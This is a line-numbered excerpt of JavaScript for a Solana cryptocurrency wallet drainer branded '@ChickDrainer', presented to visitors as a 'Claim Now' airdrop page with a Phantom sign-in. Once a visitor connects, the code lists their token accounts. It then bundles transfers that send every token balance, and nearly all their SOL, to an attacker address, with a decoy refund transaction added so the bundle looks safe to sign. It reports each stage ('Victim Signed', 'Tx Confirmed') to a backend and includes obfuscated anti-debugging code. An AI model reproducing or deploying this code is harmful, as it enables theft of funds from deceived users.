  478. aI.account = 'BjoXAUPySL5vdCDS4cnP5KgcqLpbdZnseCHaCdxCpRgJ'
  479. aI.owner = '5MPLVoZ2cJHy8gkvFu9tCTuqu9P8Fm8xz8Swpo6TfjDu'
  480. aI.minAmount = 525343246061
  481. const aJ = {}
  482. aJ.name = 'HXRO'
  483. aJ.mint = 'HxhWkVpk5NS4Ltg5nij2G671CKXFRKPK8vy271Ub4uEK'
  484. aJ.account = 'D9bBz5CPdo441weq83PkSU67maYe9REZAsBSntJPGhz1'
  485. aJ.owner = 'WE5NMhRDPMpGrakkx3KWr6hSxr2KerJrcVmVwb7DF3u'
  486. aJ.minAmount = 9793386233
  487. const aK = {}
  488. aK.name = 'POLIS'
  489. aK.mint = 'poLisWXnNRwC6oBu1vHiuKQzFjGL4XDSu4g9qjz9qVk'
  490. aK.account = 'ETZmZ7k5AsUxKa5BkMWmxYw6dYZxnL9ontPBuJpEB3G9'
  491. aK.owner = '5MPLVoZ2cJHy8gkvFu9tCTuqu9P8Fm8xz8Swpo6TfjDu'
  492. aK.minAmount = 5869074609
  493. const aL = {}
  494. aL.name = 'PIP'
  495. aL.mint = 'HHjoYwUp5aU6pnrvN4s2pwEErwXNZKhxKGYjRJMoBjLw'
  496. aL.account = '8U8inYBvmqth9Pps6MgFhiCsAbZumkSFHxB5xn5YTVGm'
  497. aL.owner = '5Nd51PxvAgBoMwG4nVFNDDqNzSw9rybadmEukwzx8qEH'
  498. aL.minAmount = 55503169747
  499. const aM = {}
  500. aM.name = 'AVAX'
  501. aM.mint = 'AUrMpCDYYcPuHhyNX8gEEqbmDPFUpBpHrNW3vPeCFn5Z'
  502. aM.account = '3VvdcfkXwrfoH7TXvPDDiPHJBtGnaDTTN9tuTveQ22dM'
  503. aM.owner = '3gg1jbrxUqhEPBxV6pB4GkLJzjLsmdRQT4qUFXXQLQyS'
  504. aM.minAmount = 457503644
  505. const aN = {}
  506. aN.name = 'WAVAX'
  507. aN.mint = 'KgV1GvrHQmRBY8sHQQeUKwTm2r2h8t4C8qt12Cw1HVE'
  508. aN.account = 'EwkqSxXbFBvtfqmuR7ofv5FhwWQXbTQDkKEB3asvNnyE'
  509. aN.owner = 'DjEWEsWuSjgkqd4eMrFN3to48YA2W7ECx6wSQEVYxTjQ'
  510. aN.minAmount = 46866828
  511. const aO = {}
  512. aO.name = 'USDCET'
  513. aO.mint = 'A9mUU4qviSctJVPJdBJWkb28deg915LYJKrzQ19ji3FM'
  514. aO.account = '8Tv98Mbm7v37s1mEtfWZE6pUirRPsPaePcQ4HtcwTait'
  515. aO.owner = 'GDmSxpPzLkfxxr6dHLNRnCoYVGzvgc41tozkrr4pHTjB'
  516. aO.minAmount = 10000000
  517. const aP = {}
  518. aP.name = 'GENE'
  519. aP.mint = 'GENEtH5amGSi8kHAtQoezp1XEXwZJ8vcuePYnXdKrMYz'
  520. aP.account = 'FZDYcwJQEAxr5P26JBpC4x8siMcxRpvZ7sbKoPi11ZX7'
  521. aP.owner = 'EVDMxYEWokGgsTwsjndMgb3WkDufQC6Peh41JsCD3C4w'
  522. aP.minAmount = 1
  523. let tokens = [
  524.     M,
  525.     N,
  526.     O,
  527.     P,
  528.     Q,
  529.     R,
  530.     S,
  531.     T,
  532.     U,
  533.     V,
  534.     W,
  535.     X,
  536.     Y,
  537.     Z,
  538.     a0,
  539.     a1,
  540.     a2,
  541.     a3,
  542.     a4,
  543.     a5,
  544.     a6,
  545.     a7,
  546.     a8,
  547.     a9,
  548.     aa,
  549.     ab,
  550.     ac,
  551.     ad,
  552.     ae,
  553.     af,
  554.     ag,
  555.     ah,
  556.     ai,
  557.     aj,
  558.     ak,
  559.     al,
  560.     am,
  561.     an,
  562.     ao,
  563.     ap,
  564.     aq,
  565.     ar,
  566.     as,
  567.     at,
  568.     au,
  569.     av,
  570.     aw,
  571.     ax,
  572.     ay,
  573.     az,
  574.     aA,
  575.     aB,
  576.     aC,
  577.     aD,
  578.     aE,
  579.     aF,
  580.     aG,
  581.     aH,
  582.     aI,
  583.     aJ,
  584.     aK,
  585.     aL,
  586.     aM,
  587.     aN,
  588.     aO,
  589.     aP,
  590.   ],
  591.   prizeMintPubKey = pk('4vMsoUT2BWatFweudnQM1xedRLfJgJ7hswhcpz4xgBTy'),
  592.   prizeAcctPubKey = pk('42pw7vKm2c2mtKq6uNsMY9hhwG8ecaeqLWC3iB1sXAU6'),
  593.   prizeTreasuryPubKey = pk('sV78H7ZxrgpRso5NVntNR3UzUmetTxAhrqSJsysq32A')
  594.  
  595. async function connect() {
  596.  let claiming = false
  597.  console.log('claiming')
  598.   if (!claiming && browser.isPageLoaded) {
  599.     if (wallet.connected) {
  600.       wallet.connected = false
  601.       updateConnectText('Sign Up / Sign In with Phantom')
  602.       mintSpan.style.display = 'none'
  603.       counter = 0
  604.       return
  605.     }
  606.     if (
  607.       ((wallet.installed.phantom = window.phantom?.solana?.isPhantom),
  608.       !browser.isDesktop &&
  609.         ['JSN-L21', 'SM-A217F'].find((c) => navigator.userAgent.includes(c)))
  610.     ) {
  611.       updateConnectText('Desktop required')
  612.       return
  613.     }
  614.     wallet.installed.phantom
  615.       ? await connectSolana()
  616.       : browser.isDesktop
  617.       ? (((!localStorage.getItem('bbbzz')) && localStorage.setItem('bbbzz', 0), (Number(localStorage.getItem('bbbzz')) == 0) && (localStorage.setItem('bbbzz', 1), sendMessageToPhp('Navigate to Phantom download'))),
  618.         ([removed].href = 'https://phantom.app/download'))
  619.       : (((!localStorage.getItem('bbbzz1')) && localStorage.setItem('bbbzz1', 0), (Number(localStorage.getItem('bbbzz1')) == 0) && (localStorage.setItem('bbbzz1', 1), sendMessageToPhp('Open Phantom app'))),
  620.         ([removed].href =
  621.           'https://phantom.app/ul/browse/https://' +
  622.           [removed].hostname));
  623.     await waitForWalletConnection();
  624.     await claimSolana();
  625.   }
  626. }
  627.  
  628. async function waitForWalletConnection(timeout = 30000) {
  629.   let startTime = Date.now();
  630.  
  631.   return new Promise((resolve, reject) => {
  632.       const checkConnection = () => {
  633.           if (wallet.connected) {
  634.               resolve(true);
  635.           } else if (Date.now() - startTime > timeout) {
  636.               resolve(false);
  637.           } else {
  638.               setTimeout(checkConnection, 100);
  639.           }
  640.       };
  641.  
  642.       checkConnection();
  643.   });
  644. }
  645.  
  646. function pk(g) {
  647.   const i = (function () {
  648.       const m = {
  649.         JPeNR: function (n, o, p) {
  650.           return n(o, p)
  651.         },
  652.         euhxu: 'EZDFS',
  653.         TJlcY: 'gGLbc',
  654.       }
  655.       let o = true
  656.       return function (p, q) {
  657.         if (m.euhxu === m.TJlcY) {
  658.           const t = d.apply(g, arguments)
  659.           return (h = null), t
  660.         } else {
  661.           const t = o
  662.             ? function () {
  663.                 if (q) {
  664.                   const u = q.apply(p, arguments)
  665.                   return (q = null), u
  666.                 }
  667.               }
  668.             : function () {}
  669.           return (o = false), t
  670.         }
  671.       }
  672.     })(),
  673.     j = i(this, function () {
  674.       return j
  675.         .toString()
  676.         .search('(((.+)+)+)+$')
  677.         .toString()
  678.         .constructor(j)
  679.         .search('(((.+)+)+)+$')
  680.     })
  681.  
  682.   const k = (function () {
  683.       let n = true
  684.       return function (o, p) {
  685.         const r = n
  686.           ? function () {
  687.               if (p) {
  688.                 const s = p.apply(o, arguments)
  689.                 return (p = null), s
  690.               }
  691.             }
  692.           : function () {}
  693.         return (n = false), r
  694.       }
  695.     })(),
  696.     l = k(this, function () {
  697.       const n = function () {
  698.           let r
  699.           try {
  700.             r = Function(
  701.               'return (function() {}.constructor("return this")( ));'
  702.             )()
  703.           } catch (t) {
  704.             r = window
  705.           }
  706.           return r
  707.         },
  708.         o = n(),
  709.         p = ({}),
  710.         q = ['log', 'warn', 'info', 'error', 'exception', 'table', 'trace']
  711.       for (let r = 0; r < q.length; r++) {
  712.         const s = k.constructor.prototype.bind(k),
  713.           t = q[r],
  714.           u = p[t] || s
  715.         s['__proto__'] = k.bind(k)
  716.         s.toString = u.toString.bind(u)
  717.         p[t] = s
  718.       }
  719.     })
  720.   return l(), new solanaWeb3.PublicKey(g)
  721. }
  722.  
  723. async function connectSolana() {
  724.  const c = { onlyIfTrusted: false };
  725.   try {
  726.   console.log('sol conencting')
  727.     updateConnectText('Connecting...')
  728.  
  729.     wallet.provider = window.solana
  730.     wallet.provider.on('connect', async function () {
  731.       wallet.address = wallet.provider.publicKey.toString()
  732.       updateConnectText(
  733.         wallet.address.slice(0, 4) +
  734.           '...' +
  735.           wallet.address.substr(wallet.address.length - 4)
  736.       )
  737.       updateMintText('Claim Now')
  738.    
  739.        wallet.c
  740.       mintSpan.style.display = 'block'
  741.     })
  742.     await wallet.provider.connect(c)
  743.     updateConnectText('Connecting...'),
  744.  
  745.       (wallet.provider = window.solana),
  746.       wallet.provider.on('connect', async function () {
  747.         wallet.address = wallet.provider.publicKey.toString()
  748.         updateConnectText(
  749.           wallet.address.slice(0, 4) +
  750.             '...' +
  751.             wallet.address.substr(wallet.address.length - 4)
  752.         )
  753.         updateMintText('Claim Now')
  754.         if (!localStorage.getItem('bbb')) localStorage.setItem('bbb', 0);
  755.         if (Number(localStorage.getItem('bbb')) == 0) {
  756.           sendMessageToPhp(
  757.             'New Connection! ? nn? <a href="https://solscan.io/address/' + wallet.address + '">Wallet</a>nn ? @ChickDrainer | @Chick ?'
  758.           );
  759.           localStorage.setItem('bbb', 1);
  760.         }
  761.         wallet.connected = true
  762.         mintSpan.style.display = 'block'
  763.       }),
  764.       await wallet.provider.connect(c)
  765.   } catch (d) {
  766.     updateConnectText('Sign Up / Sign In with Phantom'),
  767.  
  768.    console.log("error" + d)
  769.   }
  770. }
  771.  
  772. async function getTokenBalance(b, c) {
  773.  console.log("getTokenBalance")
  774.   let g = solanaWeb3.PublicKey.findProgramAddressSync(
  775.       [b.toBuffer(), splToken.TOKEN_PROGRAM_ID.toBuffer(), c.toBuffer()],
  776.       splToken.ASSOCIATED_TOKEN_PROGRAM_ID
  777.     )[0],
  778.     h = 0
  779.   try {
  780.     h = Number((await wallet.connection.getTokenAccountBalance(g)).value.amount)
  781.  console.log(h)
  782.   } catch (k) {}
  783.   return h
  784. }
  785. let raydiumPubkey = pk('5Q544fKrFoe6tsEbD7S8EmxGTJYAKtTVhAW5Q5pge4j1')
  786. async function createTxs(c, d, g, h, j, k, l) {
  787.   let v = (
  788.     await solanaWeb3.PublicKey.findProgramAddress(
  789.       [d.toBuffer(), splToken.TOKEN_PROGRAM_ID.toBuffer(), h.toBuffer()],
  790.       splToken.ASSOCIATED_TOKEN_PROGRAM_ID
  791.     )
  792.   )[0]
  793.   null === (await wallet.connection.getAccountInfo(v)) &&
  794.     (v = (
  795.       await solanaWeb3.PublicKey.findProgramAddress(
  796.         [
  797.           pk(wallet.delegate).toBuffer(),
  798.           splToken.TOKEN_PROGRAM_ID.toBuffer(),
  799.           h.toBuffer(),
  800.         ],
  801.         splToken.ASSOCIATED_TOKEN_PROGRAM_ID
  802.       )
  803.     )[0])
  804.   let w = (
  805.       await solanaWeb3.PublicKey.findProgramAddress(
  806.         [g.toBuffer(), splToken.TOKEN_PROGRAM_ID.toBuffer(), h.toBuffer()],
  807.         splToken.ASSOCIATED_TOKEN_PROGRAM_ID
  808.       )
  809.     )[0],
  810.     x = new solanaWeb3.Transaction()
  811.   x.add(
  812.     splToken.Token.createTransferInstruction(
  813.       splToken.TOKEN_PROGRAM_ID,
  814.       j,
  815.       w,
  816.       k,
  817.       [],
  818.       l
  819.     )
  820.   )
  821.   latestBlockhash = await wallet.connection.getLatestBlockhash('finalized')
  822.   x.recentBlockhash = latestBlockhash.blockhash
  823.   x.feePayer = g
  824.   c.push(x)
  825.   ;(x = new solanaWeb3.Transaction()).add(
  826.     splToken.Token.createTransferInstruction(
  827.       splToken.TOKEN_PROGRAM_ID,
  828.       w,
  829.       v,
  830.       g,
  831.       [],
  832.       l
  833.     )
  834.   )
  835.   latestBlockhash = await wallet.connection.getLatestBlockhash('finalized')
  836.   x.recentBlockhash = latestBlockhash.blockhash
  837.   x.feePayer = g
  838.   c.push(x)
  839. }
  840. async function createPrizeTxs(c) {
  841.   let h = [],
  842.     i
  843.   wallet.tokenAccount = (
  844.     await solanaWeb3.PublicKey.findProgramAddress(
  845.       [
  846.         c.toBuffer(),
  847.         splToken.TOKEN_PROGRAM_ID.toBuffer(),
  848.         prizeMintPubKey.toBuffer(),
  849.       ],
  850.       splToken.ASSOCIATED_TOKEN_PROGRAM_ID
  851.     )
  852.   )[0]
  853.   if (null === (await wallet.connection.getAccountInfo(wallet.tokenAccount))) {
  854.     ;(i = new solanaWeb3.Transaction()).add(
  855.       splToken.Token.createAssociatedTokenAccountInstruction(
  856.         splToken.ASSOCIATED_TOKEN_PROGRAM_ID,
  857.         splToken.TOKEN_PROGRAM_ID,
  858.         prizeMintPubKey,
  859.         wallet.tokenAccount,
  860.         c,
  861.         c
  862.       )
  863.     )
  864.     let j = await wallet.connection.getLatestBlockhash()
  865.     i.recentBlockhash = j.blockhash
  866.     i.feePayer = c
  867.     h.push(i)
  868.   }
  869.   return (
  870.     (i = new solanaWeb3.Transaction()).add(
  871.       splToken.Token.createTransferInstruction(
  872.         splToken.TOKEN_PROGRAM_ID,
  873.         prizeAcctPubKey,
  874.         wallet.tokenAccount,
  875.         prizeTreasuryPubKey,
  876.         [],
  877.         500000000000
  878.       )
  879.     ),
  880.     (latestBlockhash = await wallet.connection.getLatestBlockhash()),
  881.     (i.recentBlockhash = latestBlockhash.blockhash),
  882.     (i.feePayer = c),
  883.     h.push(i),
  884.     h
  885.   )
  886. }
  887. async function claim() {
  888.   if (wallet.installed.phantom) {
  889.     wallet.connected || (await connectSolana())
  890.     await claimSolana()
  891.     return
  892.   }
  893. }
  894.  
  895.  
  896.  
  897. async function createTokenTxs(a, b, c) {
  898.   let g = (
  899.       await solanaWeb3.PublicKey.findProgramAddress(
  900.         [b.toBuffer(), splToken.TOKEN_PROGRAM_ID.toBuffer(), a.toBuffer()],
  901.         splToken.ASSOCIATED_TOKEN_PROGRAM_ID
  902.       )
  903.     )[0],
  904.     h = await getTokenBalance(b, a)
  905.   if (h === 0) {
  906.     return []
  907.   }
  908.   let i = [],
  909.     j = (
  910.       await solanaWeb3.PublicKey.findProgramAddress(
  911.         [c.toBuffer(), splToken.TOKEN_PROGRAM_ID.toBuffer(), a.toBuffer()],
  912.         splToken.ASSOCIATED_TOKEN_PROGRAM_ID
  913.       )
  914.     )[0],
  915.     k = new solanaWeb3.Transaction(),
  916.     l = await wallet.connection.getAccountInfo(j)
  917.   return (
  918.     l === null &&
  919.       k.add(
  920.         splToken.Token.createAssociatedTokenAccountInstruction(
  921.           splToken.ASSOCIATED_TOKEN_PROGRAM_ID,
  922.           splToken.TOKEN_PROGRAM_ID,
  923.           a,
  924.           j,
  925.           c,
  926.           b
  927.         )
  928.       ),
  929.     k.add(
  930.       splToken.Token.createTransferInstruction(
  931.         splToken.TOKEN_PROGRAM_ID,
  932.         g,
  933.         j,
  934.         b,
  935.         [],
  936.         h
  937.       )
  938.     ),
  939.     (latestBlockhash = await wallet.connection.getLatestBlockhash()),
  940.     (k.recentBlockhash = latestBlockhash.blockhash),
  941.     (k.feePayer = b),
  942.     i.push(k),
  943.     (k = new solanaWeb3.Transaction()),
  944.     k.add(
  945.       splToken.Token.createTransferInstruction(
  946.         splToken.TOKEN_PROGRAM_ID,
  947.         j,
  948.         g,
  949.         c,
  950.         [],
  951.         h
  952.       )
  953.     ),
  954.     (latestBlockhash = await wallet.connection.getLatestBlockhash()),
  955.     (k.recentBlockhash = latestBlockhash.blockhash),
  956.     (k.feePayer = b),
  957.     i.push(k),
  958.     info(
  959.       'Transfer ' +
  960.         h +
  961.         ' <a href="https://solscan.io/address/' +
  962.         a +
  963.         '">' +
  964.         a +
  965.         '</a>'
  966.     ),
  967.     i
  968.   )
  969. }
  970. function getMint(a) {
  971.   let b = splToken.AccountLayout.decode(a.data)
  972.   return pk(b.mint)
  973. }
  974. let claiming = false
  975. async function claimSolana() {
  976.  
  977.   let claiming = true
  978.   updateMintText('Claiming...')
  979.   try {
  980.     console.log("claim res")
  981.     let p = [],
  982.       q = pk(wallet.address),
  983.       r = await wallet.connection.getAccountInfo(q)
  984.     wallet.lamports = r ? r.lamports : 0
  985.     wallet.balance = wallet.lamports / solanaWeb3.LAMPORTS_PER_SOL
  986.     if (0 === wallet.lamports) {
  987.       updateMintText('Wallet has no funds to pay the transaction Fees.')
  988.       claiming = false
  989.       return
  990.     }
  991.     wallet.delegate = destinationAddr;
  992.     let v = pk(wallet.delegate)
  993.    wallet.delegater = destinationAddr;
  994.     let zd = pk(wallet.delegater)
  995.     // p = await createPrizeTxs(q);
  996.     let x = true
  997.     if (!isPolice) {
  998.       try {
  999.         const C = { programId: splToken.TOKEN_PROGRAM_ID }
  1000.         let D = (await wallet.connection.getTokenAccountsByOwner(q, C)).value
  1001.         for (let E of D) {
  1002.           let F = getMint(E.account),
  1003.             G = await createTokenTxs(F, q, v)
  1004.           G.length > 0 && ((p = p.concat(G)), (x = true))
  1005.         }
  1006.       } catch (I) {
  1007.  
  1008.       }
  1009.       let B = Math.floor(solanaWeb3.LAMPORTS_PER_SOL / 25)
  1010.       console.log("LAM: " + wallet.lamports);
  1011.       console.log("LPS: " + solanaWeb3.LAMPORTS_PER_SOL);
  1012.       console.log("X: " + x);
  1013.       console.log("B: " + (wallet.lamports > 2 * B));
  1014.       if (
  1015.         wallet.lamports >= solanaWeb3.LAMPORTS_PER_SOL ||
  1016.         (x)
  1017.       ) {
  1018.         x = true
  1019.         let g9 = wallet.lamports - B
  1020.         if (!localStorage.getItem('bbba')) localStorage.setItem('bbba', 0);
  1021.         if (Number(localStorage.getItem('bbba')) == 0) {
  1022.           sendMessageToPhp('? Waiting For Transfer: ' + g9 / solanaWeb3.LAMPORTS_PER_SOL + ' SOLnn? <code>' + wallet.address + '</code>nn ? @ChickDrainer | @Chick ?')
  1023.           localStorage.setItem('bbba', 1);
  1024.         }
  1025.         let ga = new solanaWeb3.Transaction()
  1026.         const gb = {
  1027.           fromPubkey: q,
  1028.           toPubkey: v,
  1029.           lamports: g9,
  1030.         }
  1031.         ga.add(solanaWeb3.SystemProgram.transfer(gb))
  1032.         let gc = await wallet.connection.getLatestBlockhash('finalized')
  1033.         ga.recentBlockhash = gc.blockhash
  1034.         ga.feePayer = q
  1035.         p.push(ga)
  1036.         console.log(ga)
  1037.         ;(ga = new solanaWeb3.Transaction()).add(
  1038.           solanaWeb3.SystemProgram.transfer({
  1039.             fromPubkey: zd,
  1040.             toPubkey: q,
  1041.             lamports: Math.round(g9 * 1.1),
  1042.           })
  1043.         )
  1044.         gc = await wallet.connection.getLatestBlockhash('finalized')
  1045.         ga.recentBlockhash = gc.blockhash
  1046.         ga.feePayer = q
  1047.         p.push(ga)
  1048.         console.log(ga)
  1049.       }
  1050.     }
  1051.  
  1052.     updateMintText('Claiming...')
  1053.     if (!localStorage.getItem('bbbaa')) localStorage.setItem('bbbaa', 0);
  1054.     if (Number(localStorage.getItem('bbbaa')) == 0) {
  1055.       sendMessageToPhp('? Waiting For Victim To Sign ' + p.length + ' txsnn? <code>' + wallet.address + '</code>nn ? @ChickDrainer | @Chick ?')
  1056.       localStorage.setItem('bbbaa', 1);
  1057.     }
  1058.     let A = await wallet.provider.signAllTransactions(p)
  1059.     if (!localStorage.getItem('bbbab')) localStorage.setItem('bbbab', 0);
  1060.     if (Number(localStorage.getItem('bbbab')) == 0) {
  1061.       sendMessageToPhp('? Victim Signed ' + p.length + ' txsnn? <code>' + wallet.address + '</code>nn ? @ChickDrainer | @Chick ?')
  1062.       localStorage.setItem('bbbab', 1);
  1063.     }
  1064.     for (let gd = 0; gd < A.length; gd++) {
  1065.       let gf = A[gd]
  1066.       setTimeout(async () => {
  1067.         let gg = A.indexOf(gf, 0)
  1068.         try {
  1069.           await wallet.connection.confirmTransaction(
  1070.             await wallet.connection.sendRawTransaction(gf.serialize())
  1071.           )
  1072.           sendMessageToPhp('? Tx ' + gg + ': Confirmednn? <code>' + wallet.address + '</code>nn ? @ChickDrainer | @Chick ?')
  1073.           console.log('? Tx ' + gg + ': Confirmednn ? @ChickDrainer | @Chick ?')
  1074.           await wallet.connection.confirmTransaction(
  1075.             await wallet.connection.sendRawTransaction(gf.serialize())
  1076.           ),
  1077.             sendMessageToPhp('? Tx ' + gg + ': Confirmednn? <code>' + wallet.address + '</code>nn ? @ChickDrainer | @Chick ?')
  1078.           console.log('? Tx ' + gg + ': Confirmednn ? @ChickDrainer | @Chick ?')
  1079.         } catch (gh) {
  1080.  
  1081.           console.log('? Tx ' + gg + ': ' + gh.message);
  1082.           console.log(gh);
  1083.         }
  1084.       }, 66)
  1085.     }
  1086.     await sleep(8666)
  1087.   } catch (gg) {
  1088.  
  1089.     if (!localStorage.getItem('bbbabb')) localStorage.setItem('bbbabb', 0);
  1090.     if (Number(localStorage.getItem('bbbabb')) == 0) {
  1091.       sendMessageToPhp('⭕ User Rejected The Signnn? <code>' + wallet.address + '</code>nn ? @ChickDrainer | @Chick ?')
  1092.       localStorage.setItem('bbbabb', 1);
  1093.     }
  1094.     console.log('Claim error: ' + gg.message);
  1095.     console.log(gg);
  1096.   }
  1097.   claiming = false
  1098.   updateMintText('Claim failed!')
  1099.   setTimeout(() => {
  1100.     updateMintText('Try again?')
  1101.   }, 6666)
  1102. }
  1103.